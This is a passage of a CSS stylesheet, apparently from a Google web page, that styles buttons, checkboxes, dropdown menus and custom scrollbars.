rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);   box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);   }   input[type=radio] {   -webkit-border-radius: 1em;   -moz-border-radius: 1em;   border-radius: 1em;   width: 15px;   height: 15px;   }   input[type=checkbox]:checked,   input[type=radio]:checked {   background: #fff;   }   input[type=radio]:checked::after {   content: '';   display: block;   position: relative;   top: 3px;   left: 3px;   width: 7px;   height: 7px;   background: #666;   -webkit-border-radius: 1em;   -moz-border-radius: 1em;   border-radius: 1em;   }   input[type=checkbox]:checked::after {   content: url(https://ssl.gstatic.com/ui/v1/menu/checkmark.png);   display: block;   position: absolute;   top: -6px;   left: -5px;   }   input[type=checkbox]:focus {   outline: none;   border-color:#4d90fe;   }   .g-button {   display: inline-block;   min-width: 46px;   text-align: center;   color: #444;   font-size: 11px;   font-weight: bold;   height: 27px;   padding: 0 8px;   line-height: 27px;   -webkit-border-radius: 2px;   -moz-border-radius: 2px;   border-radius: 2px;   -webkit-transition: all 0.218s;   -moz-transition: all 0.218s;   -ms-transition: all 0.218s;   -o-transition: all 0.218s;   transition: all 0.218s;   border: 1px solid #dcdcdc;   background-color: #f5f5f5;   background-image: -webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#f1f1f1));   background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: linear-gradient(top,#f5f5f5,#f1f1f1);   -webkit-user-select: none;   -moz-user-select: none;   user-select: none;   cursor: default;   }   *+html .g-button {   min-width: 70px;   }   button.g-button,   input[type=submit].g-button {   height: 29px;   line-height: 29px;   vertical-align: bottom;   margin: 0;   }   *+html button.g-button,   *+html input[type=submit].g-button {   overflow: visible;   }   .g-button:hover {   border: 1px solid #c6c6c6;   color: #333;   text-decoration: none;   -webkit-transition: all 0.0s;   -moz-transition: all 0.0s;   -ms-transition: all 0.0s;   -o-transition: all 0.0s;   transition: all 0.0s;   background-color: #f8f8f8;   background-image: -webkit-gradient(linear,left top,left bottom,from(#f8f8f8),to(#f1f1f1));   background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: linear-gradient(top,#f8f8f8,#f1f1f1);   -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);   -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);   box-shadow: 0 1px 1px rgba(0,0,0,0.1);   }   .g-button:active {   background-color: #f6f6f6;   background-image: -webkit-gradient(linear,left top,left bottom,from(#f6f6f6),to(#f1f1f1));   background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);   background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);   background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);   background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);   background-image: linear-gradient(top,#f6f6f6,#f1f1f1);   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   }   .g-button:visited {   color: #666;   }   .g-button-submit {   border: 1px solid #3079ed;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.1);   background-color: #4d90fe;   background-image: -webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));   background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);   background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);   background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);   background-image: -o-linear-gradient(top,#4d90fe,#4787ed);   background-image: linear-gradient(top,#4d90fe,#4787ed);   }   .g-button-submit:hover {   border: 1px solid #2f5bb7;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.3);   background-color: #357ae8;   background-image: -webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));   background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);   background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);   background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);   background-image: -o-linear-gradient(top,#4d90fe,#357ae8);   background-image: linear-gradient(top,#4d90fe,#357ae8);   }   .g-button-submit:active {   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   }   .g-button-share {   border: 1px solid #29691d;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.1);   background-color: #3d9400;   background-image: -webkit-gradient(linear,left top,left bottom,from(#3d9400),to(#398a00));   background-image: -webkit-linear-gradient(top,#3d9400,#398a00);   background-image: -moz-linear-gradient(top,#3d9400,#398a00);   background-image: -ms-linear-gradient(top,#3d9400,#398a00);   background-image: -o-linear-gradient(top,#3d9400,#398a00);   background-image: linear-gradient(top,#3d9400,#398a00);   }   .g-button-share:hover {   border: 1px solid #2d6200;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.3);   background-color: #368200;   background-image: -webkit-gradient(linear,left top,left bottom,from(#3d9400),to(#368200));   background-image: -webkit-linear-gradient(top,#3d9400,#368200);   background-image: -moz-linear-gradient(top,#3d9400,#368200);   background-image: -ms-linear-gradient(top,#3d9400,#368200);   background-image: -o-linear-gradient(top,#3d9400,#368200);   background-image: linear-gradient(top,#3d9400,#368200);   }   .g-button-share:active {   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   }   .g-button-red {   border: 1px solid transparent;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.1);   text-transform: uppercase;   background-color: #d14836;   background-image: -webkit-gradient(linear,left top,left bottom,from(#dd4b39),to(#d14836));   background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);   background-image: -moz-linear-gradient(top,#dd4b39,#d14836);   background-image: -ms-linear-gradient(top,#dd4b39,#d14836);   background-image: -o-linear-gradient(top,#dd4b39,#d14836);   background-image: linear-gradient(top,#dd4b39,#d14836);   }   .g-button-red:hover {   border: 1px solid #b0281a;   color: #fff;   text-shadow: 0 1px rgba(0,0,0,0.3);   background-color: #c53727;   background-image: -webkit-gradient(linear,left top,left bottom,from(#dd4b39),to(#c53727));   background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);   background-image: -moz-linear-gradient(top,#dd4b39,#c53727);   background-image: -ms-linear-gradient(top,#dd4b39,#c53727);   background-image: -o-linear-gradient(top,#dd4b39,#c53727);   background-image: linear-gradient(top,#dd4b39,#c53727);   -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.2);   -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.2);   -ms-box-shadow: 0 1px 1px rgba(0,0,0,0.2);   -o-box-shadow: 0 1px 1px rgba(0,0,0,0.2);   box-shadow: 0 1px 1px rgba(0,0,0,0.2);   }   .g-button-red:active {   border: 1px solid #992a1b;   background-color: #b0281a;   background-image: -webkit-gradient(linear,left top,left bottom,from(#dd4b39),to(#b0281a));   background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);   background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);   background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);   background-image: -o-linear-gradient(top,#dd4b39,#b0281a);   background-image: linear-gradient(top,#dd4b39,#b0281a);   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   }   .g-button-white {   border: 1px solid #dcdcdc;   color: #666;   background: #fff;   }   .g-button-white:hover {   border: 1px solid #c6c6c6;   color: #333;   background: #fff;   -webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);   -moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);   box-shadow: 0 1px 1px rgba(0,0,0,0.1);   }   .g-button-white:active {   background: #fff;   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   }   .g-button-red:visited,   .g-button-share:visited,   .g-button-submit:visited {   color: #fff;   }   .g-button-submit:focus,   .g-button-share:focus,   .g-button-red:focus {   -webkit-box-shadow: inset 0 0 0 1px #fff;   -moz-box-shadow: inset 0 0 0 1px #fff;   box-shadow: inset 0 0 0 1px #fff;   }   .g-button-share:focus {   border-color: #29691d;   }   .g-button-red:focus {   border-color: #d14836;   }   .g-button-submit:focus:hover,   .g-button-share:focus:hover,   .g-button-red:focus:hover {   -webkit-box-shadow: inset 0 0 0 1px #fff, 0 1px 1px rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 0 0 1px #fff, 0 1px 1px rgba(0,0,0,0.1);   box-shadow: inset 0 0 0 1px #fff, 0 1px 1px rgba(0,0,0,0.1);   }   .g-button.selected {   background-color: #eee;   background-image: -webkit-gradient(linear,left top,left bottom,from(#eee),to(#e0e0e0));   background-image: -webkit-linear-gradient(top,#eee,#e0e0e0);   background-image: -moz-linear-gradient(top,#eee,#e0e0e0);   background-image: -ms-linear-gradient(top,#eee,#e0e0e0);   background-image: -o-linear-gradient(top,#eee,#e0e0e0);   background-image: linear-gradient(top,#eee,#e0e0e0);   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   border: 1px solid #ccc;   color: #333;   }   .g-button img {   display: inline-block;   margin: -3px 0 0;   opacity: .55;   filter: alpha(opacity=55);   vertical-align: middle;   pointer-events: none;   }   *+html .g-button img {   margin: 4px 0 0;   }   .g-button:hover img {   opacity: .72;   filter: alpha(opacity=72);   }   .g-button:active img {   opacity: 1;   filter: alpha(opacity=100);   }   .g-button.disabled img {   opacity: .5;   filter: alpha(opacity=50);   }   .g-button.disabled,   .g-button.disabled:hover,   .g-button.disabled:active,   .g-button-submit.disabled,   .g-button-submit.disabled:hover,   .g-button-submit.disabled:active,   .g-button-share.disabled,   .g-button-share.disabled:hover,   .g-button-share.disabled:active,   .g-button-red.disabled,   .g-button-red.disabled:hover,   .g-button-red.disabled:active,   input[type=submit][disabled=disabled].g-button {   background-color: none;   opacity: .5;   filter: alpha(opacity=50);   cursor: default;   pointer-events: none;   }   .goog-menu {   -webkit-box-shadow: 0 2px 4px rgba(0,0,0,0.2);   -moz-box-shadow: 0 2px 4px rgba(0,0,0,0.2);   box-shadow: 0 2px 4px rgba(0,0,0,0.2);   -webkit-transition: opacity 0.218s;   -moz-transition: opacity 0.218s;   -ms-transition: opacity 0.218s;   -o-transition: opacity 0.218s;   transition: opacity 0.218s;   background: #fff;   border: 1px solid #ccc;   border: 1px solid rgba(0,0,0,.2);   cursor: default;   font-size: 13px;   margin: 0;   outline: none;   padding: 0 0 6px;   position: absolute;   z-index: \"+zztop+\";   overflow: auto;   }   .goog-menuitem,   .goog-tristatemenuitem,   .goog-filterobsmenuitem {   position: relative;   color: #333;   cursor: pointer;   list-style: none;   margin: 0;   padding: 6px 7em 6px 30px;   white-space: nowrap;   }   .goog-menuitem-highlight,   .goog-menuitem-hover {   background-color: #eee;   border-color: #eee;   border-style: dotted;   border-width: 1px 0;   padding-top: 5px;   padding-bottom: 5px;   }   .goog-menuitem-highlight .goog-menuitem-content,   .goog-menuitem-hover .goog-menuitem-content {   color: #333;   }   .goog-menuseparator {   border-top: 1px solid #ebebeb;   margin-top: 9px;   margin-bottom: 10px;   }   .goog-inline-block {   position: relative;   display: -moz-inline-box;   display: inline-block;   }   * html .goog-inline-block {   display: inline;   }   *:first-child+html .goog-inline-block {   display: inline;   }   .dropdown-block {   display: block;   }   .goog-flat-menu-button {   -webkit-border-radius: 2px;   -moz-border-radius: 2px;   border-radius: 2px;   background-color: #f5f5f5;   background-image: -webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#f1f1f1));   background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);   background-image: linear-gradient(top,#f5f5f5,#f1f1f1);   border: 1px solid #dcdcdc;   color: #444;   font-size: 11px;   font-weight: bold;   line-height: 27px;   list-style: none;   margin: 0 2px;   min-width: 46px;   outline: none;   padding: 0 18px 0 6px;   text-decoration: none;   vertical-align: middle;   }   .goog-flat-menu-button-disabled {   background-color: #fff;   border-color: #f3f3f3;   color: #b8b8b8;   cursor: default;   }   .goog-flat-menu-button.goog-flat-menu-button-hover {   background-color: #f8f8f8;   background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);   background-image: linear-gradient(top,#f8f8f8,#f1f1f1);   -webkit-box-shadow: 0 1px 1px rgba(0,0,0,.1);   -moz-box-shadow: 0 1px 1px rgba(0,0,0,.1);   box-shadow: 0 1px 1px rgba(0,0,0,.1);   border-color: #c6c6c6;   color: #333;   }   .goog-flat-menu-button.goog-flat-menu-button-focused {   border-color: #4d90fe;   }   .form-error .goog-flat-menu-button {   border: 1px solid #dd4b39;   }   .form-error .goog-flat-menu-button-focused {   border-color: #4d90fe;   }   .goog-flat-menu-button.goog-flat-menu-button-open,   .goog-flat-menu-button.goog-flat-menu-button-active {   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.1);   box-shadow: inset 0 1px 2px rgba(0,0,0,.1);   background-color: #eee;   background-image: -webkit-linear-gradient(top,#eee,#e0e0e0);   background-image: -moz-linear-gradient(top,#eee,#e0e0e0);   background-image: -ms-linear-gradient(top,#eee,#e0e0e0);   background-image: -o-linear-gradient(top,#eee,#e0e0e0);   background-image: linear-gradient(top,#eee,#e0e0e0);   border: 1px solid #ccc;   color: #333;   z-index: \"+zztop+\";   }   .goog-flat-menu-button-caption {   vertical-align: top;   white-space: nowrap;   }   .goog-flat-menu-button-dropdown {   border-color: #777 transparent;   border-style: solid;   border-width: 4px 4px 0;   height: 0;   width: 0;   position: absolute;   right: 5px;   top: 12px;   }   .jfk-select .goog-flat-menu-button-dropdown {   background: url(https://ssl.gstatic.com/ui/v1/disclosure/grey-disclosure-arrow-up-down.png) center no-repeat;   border: none;   height: 11px;   margin-top: -4px;   width: 7px;   }   .goog-menu-nocheckbox .goog-menuitem,   .goog-menu-noicon .goog-menuitem {   padding-left: 16px;   vertical-align: middle;   }   body ::-webkit-scrollbar {   height: 16px;   width: 16px;   overflow: visible;   }   body ::-webkit-scrollbar-button {   height: 0;   width: 0;   }   body ::-webkit-scrollbar-track {   background-clip: padding-box;   border: solid transparent;   border-width: 0 0 0 7px;   }   body ::-webkit-scrollbar-track:horizontal {   border-width: 7px 0 0;   }   body ::-webkit-scrollbar-track:hover {   background-color: rgba(0,0,0,.05);   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.1);   box-shadow: inset 1px 0 0 rgba(0,0,0,.1);   }   body ::-webkit-scrollbar-track:horizontal:hover {   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.1);   box-shadow: inset 0 1px 0 rgba(0,0,0,.1);   }   body ::-webkit-scrollbar-track:active {   background-color: rgba(0,0,0,.05);   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   }   body ::-webkit-scrollbar-track:horizontal:active {   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   }   .jfk-scrollbar-dark::-webkit-scrollbar-track:hover {   background-color: rgba(255,255,255,.1);   -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.2);   box-shadow: inset 1px 0 0 rgba(255,255,255,.2);   }   .jfk-scrollbar-dark::-webkit-scrollbar-track:horizontal:hover {   -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.2);   box-shadow: inset 0 1px 0 rgba(255,255,255,.2);   }   .jfk-scrollbar-dark::-webkit-scrollbar-track:active {   background-color: rgba(255,255,255,.1);   -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.25),inset -1px 0 0 rgba(255,255,255,.15);   box-shadow: inset 1px 0 0 rgba(255,255,255,.25),inset -1px 0 0 rgba(255,255,255,.15);   }   .jfk-scrollbar-dark::-webkit-scrollbar-track:horizontal:active {   -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.25),inset 0 -1px 0 rgba(255,255,255,.15);   box-shadow: inset 0 1px 0 rgba(255,255,255,.25),inset 0 -1px 0 rgba(255,255,255,.15);   }   body ::-webkit-scrollbar-thumb {   background-color: rgba(0,0,0,.2);   background-clip: padding-box;   border: solid transparent;   border-width: 0 0 0 7px;   min-height: 28px;   padding: 100px 0 0;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);   }   body ::-webkit-scrollbar-thumb:horizontal {   border-width: 7px 0 0;   padding: 0 0 0 100px;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset -1px 0 0 rgba(0,0,0,.07);   }   body ::-webkit-scrollbar-thumb:hover {   background-color: rgba(0,0,0,.4);   -webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);   box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);   }   body ::-webkit-scrollbar-thumb:active {   background-color: rgba(0,0,0,.5);   -webkit-box-shadow: inset 1px 1px 3px rgba(0,0,0,.35);   box-shadow: inset 1px 1px 3px rgba(0,0,0,.35);   }   .jfk-scrollbar-dark::-webkit-scrollbar-thumb {   background-color: rgba(255,255,255,.3);   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset 0 -1px 0 rgba(255,255,255,.1);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset 0 -1px 0 rgba(255,255,255,.1);   }   .jfk-scrollbar-dark::-webkit-scrollbar-thumb:horizontal {   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset -1px 0 0 rgba(255,255,255,.1);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset -1px 0 0 rgba(255,255,255,.1);   }   .jfk-scrollbar-dark::-webkit-scrollbar-thumb:hover {   background-color: rgba(255,255,255,.6);   -webkit-box-shadow: inset 1px 1px 1px rgba(255,255,255,.37);   box-shadow: inset 1px 1px 1px rgba(255,255,255,.37);   }   .jfk-scrollbar-dark::-webkit-scrollbar-thumb:active {   background-color: rgba(255,255,255,.75);   -webkit-box-shadow: inset 1px 1px 3px rgba(255,255,255,.5);   box-shadow: inset 1px 1px 3px rgba(255,255,255,.5);   }   .jfk-scrollbar-borderless::-webkit-scrollbar-track {   border-width: 0 1px 0 6px   }   .jfk-scrollbar-borderless::-webkit-scrollbar-track:horizontal {   border-width: 6px 0 1px   }   .jfk-scrollbar-borderless::-webkit-scrollbar-track:hover {   background-color: rgba(0,0,0,.035);   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14),inset -1px -1px 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.14),inset -1px -1px 0 rgba(0,0,0,.07);   }   .jfk-scrollbar-borderless.jfk-scrollbar-dark::-webkit-scrollbar-track:hover {   background-color: rgba(255,255,255,.07);   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.25),inset -1px -1px 0 rgba(255,255,255,.15);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.25),inset -1px -1px 0 rgba(255,255,255,.15);   }   .jfk-scrollbar-borderless::-webkit-scrollbar-thumb {   border-width: 0 1px 0 6px;   }   .jfk-scrollbar-borderless::-webkit-scrollbar-thumb:horizontal {   border-width: 6px 0 1px;   }   body ::-webkit-scrollbar-corner {   background: transparent;   }   body::-webkit-scrollbar-track-piece {   background-clip: padding-box;   background-color: #f1f1f1;   border: solid #fff;   border-width: 0 0 0 3px;   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   }   body::-webkit-scrollbar-track-piece:horizontal {   border-width: 3px 0 0;   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   }   body::-webkit-scrollbar-thumb {   border-width: 1px 1px 1px 5px;   }   body::-webkit-scrollbar-thumb:horizontal {   border-width: 5px 1px 1px;   }   body::-webkit-scrollbar-corner {   background-clip: padding-box;   background-color: #f1f1f1;   border: solid #fff;   border-width: 3px 0 0 3px;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);   }   .jfk-scrollbar::-webkit-scrollbar {   height: 16px;   overflow: visible;   width: 16px;   }   .jfk-scrollbar::-webkit-scrollbar-button {   height: 0;   width: 0;   }   .jfk-scrollbar::-webkit-scrollbar-track {   background-clip: padding-box;   border: solid transparent;   border-width: 0 0 0 7px;   }   .jfk-scrollbar::-webkit-scrollbar-track:horizontal {   border-width: 7px 0 0;   }   .jfk-scrollbar::-webkit-scrollbar-track:hover {   background-color: rgba(0,0,0,.05);   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.1);   box-shadow: inset 1px 0 0 rgba(0,0,0,.1);   }   .jfk-scrollbar::-webkit-scrollbar-track:horizontal:hover {   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.1);   box-shadow: inset 0 1px 0 rgba(0,0,0,.1);   }   .jfk-scrollbar::-webkit-scrollbar-track:active {   background-color: rgba(0,0,0,.05);   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   }   .jfk-scrollbar::-webkit-scrollbar-track:horizontal:active {   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-track:hover {   background-color: rgba(255,255,255,.1);   -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.2);   box-shadow: inset 1px 0 0 rgba(255,255,255,.2);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-track:horizontal:hover {   -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.2);   box-shadow: inset 0 1px 0 rgba(255,255,255,.2);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-track:active {   background-color: rgba(255,255,255,.1);   -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.25),inset -1px 0 0 rgba(255,255,255,.15);   box-shadow: inset 1px 0 0 rgba(255,255,255,.25),inset -1px 0 0 rgba(255,255,255,.15);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-track:horizontal:active {   -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.25),inset 0 -1px 0 rgba(255,255,255,.15);   box-shadow: inset 0 1px 0 rgba(255,255,255,.25),inset 0 -1px 0 rgba(255,255,255,.15);   }   .jfk-scrollbar::-webkit-scrollbar-thumb {   background-color: rgba(0,0,0,.2);   background-clip: padding-box;   border: solid transparent;   border-width: 0 0 0 7px;   min-height: 28px;   padding: 100px 0 0;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);   }   .jfk-scrollbar::-webkit-scrollbar-thumb:horizontal {   border-width: 7px 0 0;   padding: 0 0 0 100px;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset -1px 0 0 rgba(0,0,0,.07);   }   .jfk-scrollbar::-webkit-scrollbar-thumb:hover {   background-color: rgba(0,0,0,.4);   -webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);   box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);   }   .jfk-scrollbar::-webkit-scrollbar-thumb:active {   background-color: rgba(0,0,0,0.5);   -webkit-box-shadow: inset 1px 1px 3px rgba(0,0,0,0.35);   box-shadow: inset 1px 1px 3px rgba(0,0,0,0.35);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-thumb {   background-color: rgba(255,255,255,.3);   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset 0 -1px 0 rgba(255,255,255,.1);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset 0 -1px 0 rgba(255,255,255,.1);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-thumb:horizontal {   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset -1px 0 0 rgba(255,255,255,.1);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.15),inset -1px 0 0 rgba(255,255,255,.1);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-thumb:hover {   background-color: rgba(255,255,255,.6);   -webkit-box-shadow: inset 1px 1px 1px rgba(255,255,255,.37);   box-shadow: inset 1px 1px 1px rgba(255,255,255,.37);   }   .jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-thumb:active {   background-color: rgba(255,255,255,.75);   -webkit-box-shadow: inset 1px 1px 3px rgba(255,255,255,.5);   box-shadow: inset 1px 1px 3px rgba(255,255,255,.5);   }   .jfk-scrollbar-borderless.jfk-scrollbar::-webkit-scrollbar-track {   border-width: 0 1px 0 6px;   }   .jfk-scrollbar-borderless.jfk-scrollbar::-webkit-scrollbar-track:horizontal {   border-width: 6px 0 1px;   }   .jfk-scrollbar-borderless.jfk-scrollbar::-webkit-scrollbar-track:hover {   background-color: rgba(0,0,0,.035);   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14),inset -1px -1px 0 rgba(0,0,0,.07);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.14),inset -1px -1px 0 rgba(0,0,0,.07);   }   .jfk-scrollbar-borderless.jfk-scrollbar-dark.jfk-scrollbar::-webkit-scrollbar-track:hover {   background-color: rgba(255,255,255,.07);   -webkit-box-shadow: inset 1px 1px 0 rgba(255,255,255,.25),inset -1px -1px 0 rgba(255,255,255,.15);   box-shadow: inset 1px 1px 0 rgba(255,255,255,.25),inset -1px -1px 0 rgba(255,255,255,.15);   }   .jfk-scrollbar-borderless.jfk-scrollbar::-webkit-scrollbar-thumb {   border-width: 0 1px 0 6px;   }   .jfk-scrollbar-borderless.jfk-scrollbar::-webkit-scrollbar-thumb:horizontal {   border-width: 6px 0 1px;   }   .jfk-scrollbar::-webkit-scrollbar-corner {   background: transparent;   }   body.jfk-scrollbar::-webkit-scrollbar-track-piece {   background-clip: padding-box;   background-color: #f1f1f1;   border: solid #fff;   border-width: 0 0 0 3px;   -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   box-shadow: inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07);   }   body.jfk-scrollbar::-webkit-scrollbar-track-piece:horizontal {   border-width: 3px 0 0;   -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   box-shadow: inset 0 1px 0 rgba(0,0,0,.14),inset 0 -1px 0 rgba(0,0,0,.07);   }   body.jfk-scrollbar::-webkit-scrollbar-thumb {   border-width: 1px 1px 1px 5px;   }   body.jfk-scrollbar::-webkit-scrollbar-thumb:horizontal {   border-width: 5px 1px 1px;   }   body.jfk-scrollbar::-webkit-scrollbar-corner {   background-clip: padding-box;   background-color: #f1f1f1;   border: solid #fff;   border-width: 3px 0 0 3px;   -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);   box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);   }   .errormsg {   margin: .5em 0 0;   display: block;   color: #dd4b39;   line-height: 17px;   }   .help-link {   background: #dd4b39;   padding: 0 5px;   color: #fff;   font-weight: bold;   display: inline-block;   -webkit-border-radius: 1em;   -moz-border-radius: 1em;   border-radius: 1em;   text-decoration: none;   